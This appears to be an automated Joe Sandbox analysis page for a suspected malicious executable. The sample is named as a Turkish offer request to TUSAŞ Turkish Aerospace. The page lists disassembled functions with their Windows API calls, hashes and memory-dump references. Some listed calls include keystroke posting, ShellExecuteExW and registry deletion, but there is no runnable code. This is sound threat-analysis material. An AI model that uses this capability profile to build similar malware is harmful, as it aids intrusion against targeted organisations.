Associated: 00000000.00000002.1491850236.0000000001054000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491911513.000000000105E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491930865.0000000001067000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fa0000_TEKL#U0130F #U0130STE#U011e#U0130 - TUSA#U015e T#U00dcRK HAVACILIK UZA.jbxd

Similarity

API ID: BuffCharConnectRegistryUpper_memmove
String ID:
API String ID: 3479070676-0
Opcode ID: 3a668c07f4865e9070e79f1a65ddcb3b3d1c2687f5e26eba5c4abac0e4a4d4d3
Instruction ID: 37e7a7a203bc4cbd23e79523fb4be66fdb884d642f119f156ffa65e4d6000574
Opcode Fuzzy Hash: 3a668c07f4865e9070e79f1a65ddcb3b3d1c2687f5e26eba5c4abac0e4a4d4d3
Instruction Fuzzy Hash: 80A180712042029FDB10EF18CC90F6EBBE5AF45314F14841CF9969B292DB79E949DF41

Function 00FA2A5B Relevance: 12.1, APIs: 8, Instructions: 129COMMON

Download Yara Rule

APIs

ShowWindow.USER32(FFFFFFFF,?,00000000,00000000,?,00FDC1C7,00000004,00000000,00000000,00000000), ref: 00FA2ACF
ShowWindow.USER32(FFFFFFFF,00000000,00000000,00000000,?,00FDC1C7,00000004,00000000,00000000,00000000,000000FF), ref: 00FA2B17
ShowWindow.USER32(FFFFFFFF,00000006,00000000,00000000,?,00FDC1C7,00000004,00000000,00000000,00000000), ref: 00FDC21A
ShowWindow.USER32(FFFFFFFF,?,00000000,00000000,?,00FDC1C7,00000004,00000000,00000000,00000000), ref: 00FDC286

Memory Dump Source

Source File: 00000000.00000002.1491790033.0000000000FA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00FA0000, based on PE: true

Associated: 00000000.00000002.1491770776.0000000000FA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491850236.000000000102F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491850236.0000000001054000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491911513.000000000105E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491930865.0000000001067000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fa0000_TEKL#U0130F #U0130STE#U011e#U0130 - TUSA#U015e T#U00dcRK HAVACILIK UZA.jbxd

Similarity

API ID: ShowWindow
String ID:
API String ID: 1268545403-0
Opcode ID: 26c1ff5b1fa326d4aa158779978073628c37822ca70ddcc3fcef75fdd2210497
Instruction ID: 667715faa497d45fee4e0aa471e90f4e7316cce3bb68e9f605b045672d765ef2
Opcode Fuzzy Hash: 26c1ff5b1fa326d4aa158779978073628c37822ca70ddcc3fcef75fdd2210497
Instruction Fuzzy Hash: 1141F172B046819BC7B55B3C9D8CB6B7BA3BF87360F28841DE08786551C67D9841F750

Function 010070C6 Relevance: 12.1, APIs: 8, Instructions: 101fileCOMMON

Download Yara Rule

APIs

InterlockedExchange.KERNEL32(?,000001F5), ref: 010070DD

Part of subcall function 00FC0DB6: std::exception::exception.LIBCMT ref: 00FC0DEC
Part of subcall function 00FC0DB6: __CxxThrowException@8.LIBCMT ref: 00FC0E01

ReadFile.KERNEL32(0000FFFF,00000000,0000FFFF,?,00000000), ref: 01007114
EnterCriticalSection.KERNEL32(?), ref: 01007130
_memmove.LIBCMT ref: 0100717E
_memmove.LIBCMT ref: 0100719B
LeaveCriticalSection.KERNEL32(?), ref: 010071AA
ReadFile.KERNEL32(0000FFFF,00000000,0000FFFF,00000000,00000000), ref: 010071BF
InterlockedExchange.KERNEL32(?,000001F6), ref: 010071DE

Memory Dump Source

Source File: 00000000.00000002.1491790033.0000000000FA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00FA0000, based on PE: true

Associated: 00000000.00000002.1491770776.0000000000FA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491850236.000000000102F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491850236.0000000001054000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491911513.000000000105E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491930865.0000000001067000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fa0000_TEKL#U0130F #U0130STE#U011e#U0130 - TUSA#U015e T#U00dcRK HAVACILIK UZA.jbxd

Similarity

API ID: CriticalExchangeFileInterlockedReadSection_memmove$EnterException@8LeaveThrowstd::exception::exception
String ID:
API String ID: 256516436-0
Opcode ID: 3d2616145fc68bdeb2778a744b535d9a4baa2ab0d66517d9e0bf4bdc8f3dc2be
Instruction ID: e007fecae62ec2fb96e0204e2cbf577b506ef59c35f14d0cb598dfadd101abb1
Opcode Fuzzy Hash: 3d2616145fc68bdeb2778a744b535d9a4baa2ab0d66517d9e0bf4bdc8f3dc2be
Instruction Fuzzy Hash: E931B231900206EBDF10DFA4DD85EAFB7B9FF45300F2440A9F9449B286DB38AA15DB60

Function 010261D3 Relevance: 12.1, APIs: 8, Instructions: 95windowCOMMON

Download Yara Rule

APIs

DeleteObject.GDI32(00000000), ref: 010261EB
GetDC.USER32(00000000), ref: 010261F3
GetDeviceCaps.GDI32(00000000,0000005A), ref: 010261FE
ReleaseDC.USER32(00000000,00000000), ref: 0102620A
CreateFontW.GDI32(?,00000000,00000000,00000000,?,00000000,00000000,00000000,00000001,00000004,00000000,?,00000000,?), ref: 01026246
SendMessageW.USER32(?,00000030,00000000,00000001), ref: 01026257
MoveWindow.USER32(?,?,?,?,?,00000000,?,?,0102902A,?,?,000000FF,00000000,?,000000FF,?), ref: 01026291
SendMessageW.USER32(?,00000142,00000000,00000000), ref: 010262B1

Memory Dump Source

Source File: 00000000.00000002.1491790033.0000000000FA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00FA0000, based on PE: true

Associated: 00000000.00000002.1491770776.0000000000FA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491850236.000000000102F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491850236.0000000001054000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491911513.000000000105E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491930865.0000000001067000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fa0000_TEKL#U0130F #U0130STE#U011e#U0130 - TUSA#U015e T#U00dcRK HAVACILIK UZA.jbxd

Similarity

API ID: MessageSend$CapsCreateDeleteDeviceFontMoveObjectReleaseWindow
String ID:
API String ID: 3864802216-0
Opcode ID: 4e238a4e0ffd986b8cf2c2a3b078ddb9e9c9613d8881e5d2d6d94ce8c0c2be60
Instruction ID: 913de54fd662d060799aff36df20407c4be7d0e0e99b96f8a14122cde41d30dc
Opcode Fuzzy Hash: 4e238a4e0ffd986b8cf2c2a3b078ddb9e9c9613d8881e5d2d6d94ce8c0c2be60
Instruction Fuzzy Hash: 59319F721012107FEB218F64CC8AFEB3FA9EF4A7A5F140055FE889A181C67A9841CB60

Function 00FFBBAF Relevance: 12.1, APIs: 8, Instructions: 92COMMON

Download Yara Rule

APIs

_memcmp.LIBCMT ref: 00FFBBC4
_memcmp.LIBCMT ref: 00FFBBE6
_memcmp.LIBCMT ref: 00FFBBFE
_memcmp.LIBCMT ref: 00FFBC11
_memcmp.LIBCMT ref: 00FFBC2B
_memcmp.LIBCMT ref: 00FFBC3E
_memcmp.LIBCMT ref: 00FFBC56
_memcmp.LIBCMT ref: 00FFBC71

Memory Dump Source

Source File: 00000000.00000002.1491790033.0000000000FA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00FA0000, based on PE: true

Associated: 00000000.00000002.1491770776.0000000000FA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491850236.000000000102F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491850236.0000000001054000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491911513.000000000105E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491930865.0000000001067000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fa0000_TEKL#U0130F #U0130STE#U011e#U0130 - TUSA#U015e T#U00dcRK HAVACILIK UZA.jbxd

Similarity

API ID: _memcmp
String ID:
API String ID: 2931989736-0
Opcode ID: 5f7b61526a557e75de2d7dfa7a62d942689ecd08c4074409e1b0e3b09e19c6f5
Instruction ID: 2d8af95b3ac3ad00020ab47245565ac5b40882939be51705c89a3f8c024391ef
Opcode Fuzzy Hash: 5f7b61526a557e75de2d7dfa7a62d942689ecd08c4074409e1b0e3b09e19c6f5
Instruction Fuzzy Hash: AD21CC6160120E77F608B612DE43FFB775DAE96358F044018FF049A617FB58DE25B2A1

Function 0100EB23 Relevance: 10.8, APIs: 5, Strings: 1, Instructions: 323COMMON

Download Yara Rule

APIs

Part of subcall function 00FA9837: __itow.LIBCMT ref: 00FA9862
Part of subcall function 00FA9837: __swprintf.LIBCMT ref: 00FA98AC

Part of subcall function 00FBFC86: _wcscpy.LIBCMT ref: 00FBFCA9

_wcstok.LIBCMT ref: 0100EC94
_wcscpy.LIBCMT ref: 0100ED23
_memset.LIBCMT ref: 0100ED56

Strings

X, xrefs: 0100ED93

Memory Dump Source

Source File: 00000000.00000002.1491790033.0000000000FA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00FA0000, based on PE: true

Associated: 00000000.00000002.1491770776.0000000000FA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491850236.000000000102F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491850236.0000000001054000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491911513.000000000105E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491930865.0000000001067000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fa0000_TEKL#U0130F #U0130STE#U011e#U0130 - TUSA#U015e T#U00dcRK HAVACILIK UZA.jbxd

Similarity

API ID: _wcscpy$__itow__swprintf_memset_wcstok
String ID: X
API String ID: 774024439-3081909835
Opcode ID: 3deeb276af1b1b763fa73a84c66fb09feb0e9057a4258bab4a6733be19e94d73
Instruction ID: e8f905650a33b031ff43b5d198b5198f7472c1a59c292e478a7ded02c0b8f063
Opcode Fuzzy Hash: 3deeb276af1b1b763fa73a84c66fb09feb0e9057a4258bab4a6733be19e94d73
Instruction Fuzzy Hash: 23C19DB05083419FD755EF28CC81E6BB7E0EF86310F04492DF9999B2A2DB74E805DB92

Function 01016B03 Relevance: 10.8, APIs: 7, Instructions: 250networkCOMMON

Download Yara Rule

APIs

__WSAFDIsSet.WSOCK32(00000000,?,00000000,00000000,?,00000064,00000000), ref: 01016C00
#17.WSOCK32(00000000,?,?,00000000,?,00000010), ref: 01016C21
WSAGetLastError.WSOCK32(00000000), ref: 01016C34
htons.WSOCK32(?,?,?,00000000,?), ref: 01016CEA
inet_ntoa.WSOCK32(?), ref: 01016CA7

Part of subcall function 00FFA7E9: _strlen.LIBCMT ref: 00FFA7F3
Part of subcall function 00FFA7E9: _memmove.LIBCMT ref: 00FFA815

_strlen.LIBCMT ref: 01016D44
_memmove.LIBCMT ref: 01016DAD

Memory Dump Source

Source File: 00000000.00000002.1491790033.0000000000FA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00FA0000, based on PE: true

Associated: 00000000.00000002.1491770776.0000000000FA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491850236.000000000102F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491850236.0000000001054000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491911513.000000000105E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491930865.0000000001067000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fa0000_TEKL#U0130F #U0130STE#U011e#U0130 - TUSA#U015e T#U00dcRK HAVACILIK UZA.jbxd

Similarity

API ID: _memmove_strlen$ErrorLasthtonsinet_ntoa
String ID:
API String ID: 3619996494-0
Opcode ID: 7236b3f7cf126339f7ab7454c3317ff0d89accc0d7395204f5e0cad600c42de8
Instruction ID: 1e252d36f42c8faa1521c0b64e4eef0767b6cb668ebf4ef0517c5ff2e6d339f8
Opcode Fuzzy Hash: 7236b3f7cf126339f7ab7454c3317ff0d89accc0d7395204f5e0cad600c42de8
Instruction Fuzzy Hash: EE81D1B1508300ABD710EF28CC82E6FB7E8AF85714F44491CF9969B292DBB9DD45CB52

Function 00FA1424 Relevance: 10.7, APIs: 7, Instructions: 219COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1491790033.0000000000FA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00FA0000, based on PE: true

Associated: 00000000.00000002.1491770776.0000000000FA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491850236.000000000102F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491850236.0000000001054000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491911513.000000000105E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491930865.0000000001067000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fa0000_TEKL#U0130F #U0130STE#U011e#U0130 - TUSA#U015e T#U00dcRK HAVACILIK UZA.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b9a56be9b8bc7835868ad5ad0500c022a10c4c25d334b775be9c92be452eb26f
Instruction ID: 036475ade1cd459a832e0d3324d4cd58488499731c7407b1c2110c0d5a6c5829
Opcode Fuzzy Hash: b9a56be9b8bc7835868ad5ad0500c022a10c4c25d334b775be9c92be452eb26f
Instruction Fuzzy Hash: 18719F71904109EFCB14CF98CC44EBEBB75FF8A360F258149F915AA251C734AA51DF60

Function 0102B351 Relevance: 10.7, APIs: 7, Instructions: 199windowCOMMON

Download Yara Rule

APIs

IsWindow.USER32(011F5D60), ref: 0102B3EB
IsWindowEnabled.USER32(011F5D60), ref: 0102B3F7
SendMessageW.USER32(?,0000041C,00000000,00000000), ref: 0102B4DB
SendMessageW.USER32(011F5D60,000000B0,?,?), ref: 0102B512
IsDlgButtonChecked.USER32(?,?), ref: 0102B54F
GetWindowLongW.USER32(011F5D60,000000EC), ref: 0102B571
SendMessageW.USER32(?,000000A1,00000002,00000000), ref: 0102B589

Memory Dump Source

Source File: 00000000.00000002.1491790033.0000000000FA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00FA0000, based on PE: true

Associated: 00000000.00000002.1491770776.0000000000FA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491850236.000000000102F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491850236.0000000001054000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491911513.000000000105E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491930865.0000000001067000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fa0000_TEKL#U0130F #U0130STE#U011e#U0130 - TUSA#U015e T#U00dcRK HAVACILIK UZA.jbxd

Similarity

API ID: MessageSendWindow$ButtonCheckedEnabledLong
String ID:
API String ID: 4072528602-0
Opcode ID: 8589def97e8e8f46742a53010930c0a9ceb0621b8286fa279f75d11b1683cb4e
Instruction ID: 0609c386fcf8abcedee6d367954e9659ba1b6070b1420e6a7f1bb316c3217010
Opcode Fuzzy Hash: 8589def97e8e8f46742a53010930c0a9ceb0621b8286fa279f75d11b1683cb4e
Instruction Fuzzy Hash: 37718F34604225AFEB759F68C8D4FBA7BF9FF09340F148099EAC597261CB36A940DB50

Function 0101F41E Relevance: 10.7, APIs: 5, Strings: 1, Instructions: 177COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 0101F448
_memset.LIBCMT ref: 0101F511
ShellExecuteExW.SHELL32(?), ref: 0101F556

Part of subcall function 00FA9837: __itow.LIBCMT ref: 00FA9862
Part of subcall function 00FA9837: __swprintf.LIBCMT ref: 00FA98AC

Part of subcall function 00FBFC86: _wcscpy.LIBCMT ref: 00FBFCA9

GetProcessId.KERNEL32(00000000), ref: 0101F5CD
CloseHandle.KERNEL32(00000000), ref: 0101F5FC

Strings

@, xrefs: 0101F525

Memory Dump Source

Source File: 00000000.00000002.1491790033.0000000000FA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00FA0000, based on PE: true

Associated: 00000000.00000002.1491770776.0000000000FA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491850236.000000000102F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491850236.0000000001054000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491911513.000000000105E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491930865.0000000001067000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fa0000_TEKL#U0130F #U0130STE#U011e#U0130 - TUSA#U015e T#U00dcRK HAVACILIK UZA.jbxd

Similarity

API ID: _memset$CloseExecuteHandleProcessShell__itow__swprintf_wcscpy
String ID: @
API String ID: 3522835683-2766056989
Opcode ID: ba03f1e5bf74a48bb0ff4c5002581711b5367228b0f7a68d69ad338087ce1185
Instruction ID: beeb22add71846dd561545a583d3c3dfec17139c650440817fa050b6c383dc16
Opcode Fuzzy Hash: ba03f1e5bf74a48bb0ff4c5002581711b5367228b0f7a68d69ad338087ce1185
Instruction Fuzzy Hash: CF61C0B1A0061ADFCB14DF68C8819AEBBF5FF49310F148069E856AB351CB78AD45DF90

Function 01000F4D Relevance: 10.7, APIs: 7, Instructions: 166windowCOMMON

Download Yara Rule

APIs

GetParent.USER32(?), ref: 01000F8C
GetKeyboardState.USER32(?), ref: 01000FA1
SetKeyboardState.USER32(?), ref: 01001002
PostMessageW.USER32(?,00000101,00000010,?), ref: 01001030
PostMessageW.USER32(?,00000101,00000011,?), ref: 0100104F
PostMessageW.USER32(?,00000101,00000012,?), ref: 01001095
PostMessageW.USER32(?,00000101,0000005B,?), ref: 010010B8

Memory Dump Source

Source File: 00000000.00000002.1491790033.0000000000FA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00FA0000, based on PE: true

Associated: 00000000.00000002.1491770776.0000000000FA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491850236.000000000102F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491850236.0000000001054000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491911513.000000000105E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491930865.0000000001067000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fa0000_TEKL#U0130F #U0130STE#U011e#U0130 - TUSA#U015e T#U00dcRK HAVACILIK UZA.jbxd

Similarity

API ID: MessagePost$KeyboardState$Parent
String ID:
API String ID: 87235514-0
Opcode ID: f7c72fa2142d1814ba6c5bd6ca6da58a6d7fa231a7454290cee26cbfe92566bc
Instruction ID: 8d528ebbc8696f1ade33b70bc75142b4e68785861a8174881bece13b37317f32
Opcode Fuzzy Hash: f7c72fa2142d1814ba6c5bd6ca6da58a6d7fa231a7454290cee26cbfe92566bc
Instruction Fuzzy Hash: C451C3B06086D639FB3786388845BBABEE95B06344F0885CDF2D4468C3C2E9E8D8D751

Function 01000D66 Relevance: 10.7, APIs: 7, Instructions: 165windowCOMMON

Download Yara Rule

APIs

GetParent.USER32(00000000), ref: 01000DA5
GetKeyboardState.USER32(?), ref: 01000DBA
SetKeyboardState.USER32(?), ref: 01000E1B
PostMessageW.USER32(00000000,00000100,00000010,?), ref: 01000E47
PostMessageW.USER32(00000000,00000100,00000011,?), ref: 01000E64
PostMessageW.USER32(00000000,00000100,00000012,?), ref: 01000EA8
PostMessageW.USER32(00000000,00000100,0000005B,?), ref: 01000EC9

Memory Dump Source

Source File: 00000000.00000002.1491790033.0000000000FA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00FA0000, based on PE: true

Associated: 00000000.00000002.1491770776.0000000000FA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491850236.000000000102F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491850236.0000000001054000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491911513.000000000105E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491930865.0000000001067000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fa0000_TEKL#U0130F #U0130STE#U011e#U0130 - TUSA#U015e T#U00dcRK HAVACILIK UZA.jbxd

Similarity

API ID: MessagePost$KeyboardState$Parent
String ID:
API String ID: 87235514-0
Opcode ID: e1aec8469f27df977367b8bbca7cbd10fe1428a898561eb613ad6901ecdb3a4a
Instruction ID: e4834daffa0b993d6a236c0d363b90b027ad4cb369b5f25c8c8ce0107163880c
Opcode Fuzzy Hash: e1aec8469f27df977367b8bbca7cbd10fe1428a898561eb613ad6901ecdb3a4a
Instruction Fuzzy Hash: 2451F6A05087D63DFB3386388C45BBA7EE95B06380F0884CDF2D5568C6C395E898E760

Function 010055FD Relevance: 10.6, APIs: 7, Instructions: 138timeCOMMON

Download Yara Rule

APIs

GetLocalTime.KERNEL32 ref: 0100560A
_wcsncpy.LIBCMT ref: 0100563F
_wcsncpy.LIBCMT ref: 01005671
_wcsncpy.LIBCMT ref: 010056A4
_wcsncpy.LIBCMT ref: 010056E6
_wcsncpy.LIBCMT ref: 01005720
_wcsncpy.LIBCMT ref: 0100574F

Memory Dump Source

Source File: 00000000.00000002.1491790033.0000000000FA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00FA0000, based on PE: true

Associated: 00000000.00000002.1491770776.0000000000FA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491850236.000000000102F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491850236.0000000001054000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491911513.000000000105E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491930865.0000000001067000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fa0000_TEKL#U0130F #U0130STE#U011e#U0130 - TUSA#U015e T#U00dcRK HAVACILIK UZA.jbxd

Similarity

API ID: _wcsncpy$LocalTime
String ID:
API String ID: 2945705084-0
Opcode ID: 6ed4c51d9ae0466b7589a3c108e0e8263567a11c3af033d153d3a3c120c6c46a
Instruction ID: 91977aee791a2e7c879593fb8ea430bbc4009b1ffd8f86a93264e39ac75395f1
Opcode Fuzzy Hash: 6ed4c51d9ae0466b7589a3c108e0e8263567a11c3af033d153d3a3c120c6c46a
Instruction Fuzzy Hash: 6A41E765C5020976DB11EBB48C47ECFB7B8AF04350F40885AE649E3161EB38A745D7A6

Function 01003671 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 111filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 0100466E: GetFullPathNameW.KERNEL32(00000000,00007FFF,?,?,?,?,?,?,01003697,?), ref: 0100468B

Part of subcall function 0100466E: GetFullPathNameW.KERNEL32(?,00007FFF,?,?,?,?,?,01003697,?), ref: 010046A4

lstrcmpiW.KERNEL32(?,?), ref: 010036B7
_wcscmp.LIBCMT ref: 010036D3
MoveFileW.KERNEL32(?,?), ref: 010036EB
_wcscat.LIBCMT ref: 01003733
SHFileOperationW.SHELL32(?), ref: 0100379F

Strings

\*.*, xrefs: 0100372D

Memory Dump Source

Source File: 00000000.00000002.1491790033.0000000000FA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00FA0000, based on PE: true

Associated: 00000000.00000002.1491770776.0000000000FA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491850236.000000000102F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491850236.0000000001054000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491911513.000000000105E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491930865.0000000001067000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fa0000_TEKL#U0130F #U0130STE#U011e#U0130 - TUSA#U015e T#U00dcRK HAVACILIK UZA.jbxd

Similarity

API ID: FileFullNamePath$MoveOperation_wcscat_wcscmplstrcmpi
String ID: \*.*
API String ID: 1377345388-1173974218
Opcode ID: bba8fcac64c4c6c57f402a4f4389ccac3eeba5418412ad7c5c0ee18d30b9234e
Instruction ID: 76ee8ee813b8757e906c3c87652b27bd48d18dd021c60cc8e887d8821d5e95f3
Opcode Fuzzy Hash: bba8fcac64c4c6c57f402a4f4389ccac3eeba5418412ad7c5c0ee18d30b9234e
Instruction Fuzzy Hash: D5418171508345AEE763EF64D841ADF77E8BF89280F00486EF5C9C7291EA34D289C756

Function 01027291 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 103windowCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 010272AA
GetMenuItemInfoW.USER32(?,000000FF,00000000,00000030), ref: 01027351
IsMenu.USER32(?), ref: 01027369
InsertMenuItemW.USER32(?,?,00000001,00000030), ref: 010273B1
DrawMenuBar.USER32 ref: 010273C4

Strings

0, xrefs: 0102729E

Memory Dump Source

Source File: 00000000.00000002.1491790033.0000000000FA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00FA0000, based on PE: true

Associated: 00000000.00000002.1491770776.0000000000FA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491850236.000000000102F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491850236.0000000001054000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491911513.000000000105E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491930865.0000000001067000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fa0000_TEKL#U0130F #U0130STE#U011e#U0130 - TUSA#U015e T#U00dcRK HAVACILIK UZA.jbxd

Similarity

API ID: Menu$Item$DrawInfoInsert_memset
String ID: 0
API String ID: 3866635326-4108050209
Opcode ID: 7245e04596cfb0afbc72bcc73e35fb371b9f8bea107546bd3c62dc256709a60e
Instruction ID: 92bbbfb3f10fb5ee84cae0c7c95f1bb8f9b51bd00b89700fd07be54b563e0806
Opcode Fuzzy Hash: 7245e04596cfb0afbc72bcc73e35fb371b9f8bea107546bd3c62dc256709a60e
Instruction Fuzzy Hash: 94415975A00219EFDB20DF54D885E9ABBF8FF18350F14846AFE85A7250D735A950CF90

Function 01020FA5 Relevance: 10.6, APIs: 7, Instructions: 101registryCOMMON

Download Yara Rule

APIs

RegEnumKeyExW.ADVAPI32(?,00000000,?,000000FF,00000000,00000000,00000000,?,?,?), ref: 01020FD4
RegOpenKeyExW.ADVAPI32(?,?,00000000,?,?), ref: 01020FFE
FreeLibrary.KERNEL32(00000000), ref: 010210B5

Part of subcall function 01020FA5: RegCloseKey.ADVAPI32(?), ref: 0102101B
Part of subcall function 01020FA5: FreeLibrary.KERNEL32(?), ref: 0102106D
Part of subcall function 01020FA5: RegEnumKeyExW.ADVAPI32(?,00000000,?,000000FF,00000000,00000000,00000000,?), ref: 01021090

RegDeleteKeyW.ADVAPI32(?,?), ref: 01021058

Memory Dump Source

Source File: 00000000.00000002.1491790033.0000000000FA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00FA0000, based on PE: true

Associated: 00000000.00000002.1491770776.0000000000FA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491850236.000000000102F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491850236.0000000001054000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491911513.000000000105E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491930865.0000000001067000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fa0000_TEKL#U0130F #U0130STE#U011e#U0130 - TUSA#U015e T#U00dcRK HAVACILIK UZA.jbxd

Similarity

API ID: EnumFreeLibrary$CloseDeleteOpen
String ID:
API String ID: 395352322-0
Opcode ID: 266be0fa80e03cf6a510419b680e89c58e060a321a59e5d3a136ed9d2a094cb2
